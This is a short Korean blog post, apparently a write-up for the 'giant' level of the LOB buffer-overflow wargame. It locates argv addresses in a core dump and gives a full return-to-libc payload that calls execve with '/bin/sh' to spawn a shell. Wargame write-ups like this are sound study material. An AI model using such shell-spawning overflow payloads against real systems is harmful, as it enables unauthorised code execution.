떨어진 코어파일에서 0xbffffae4부분이 argv 테이블이 시작되는 부분이고 그중 세번째 0xbffffc3a가 argv[2]="/bin/sh"임을 확인했다.


첫번째 인자인 "/bin/sh"의 주소는 0xbffffc3a를,

argv2의 주소는 argv[2]부터 시작해야하므로 두번째 인자로는 0xbffffaec를 넣어주면 되겠다.

세번째 인자로는 null을 넣어줄 것인데 마침 argv[2]뒤에 4바이트 널이 있으므로 해당주소인 0xbffffaf0을 넣어주면 된다.


페이로드를 구성해보면


./giant "`python -c 'print "a"*44+"\x48\x9d\x0a\x40"+"dddd"+"\x3a\xfc\xff\xbf"+"\xec\xfa\xff\xbf"+"\xf0\xfa\xff\xbf"'`" /bin/sh

이렇게 된다.

주의할 점은 제대로된 execve의 주소(0x400a9d48)을 넣어줘야 한다는 점, 파이썬 스크립트를 ""로 감싸줘야 한다는 점 정도가 있겠다.

위 스크립트로 공격을 시도해봤다.




성공했다. 그냥 뭐 인자 전달 연습인듯.

끝-

'해킹 > LOB' 카테고리의 다른 글

LOB_16.assassin->zombie_assassin  (0) 2016.01.31
LOB_15.giant->assassin  (0) 2016.01.31
LOB_번외.bash2의 함정.  (0) 2016.01.29
LOB_13.darkknight->bugbear  (0) 2016.01.29
LOB_12.golem->darkknight  (0) 2016.01.28
Tags
Social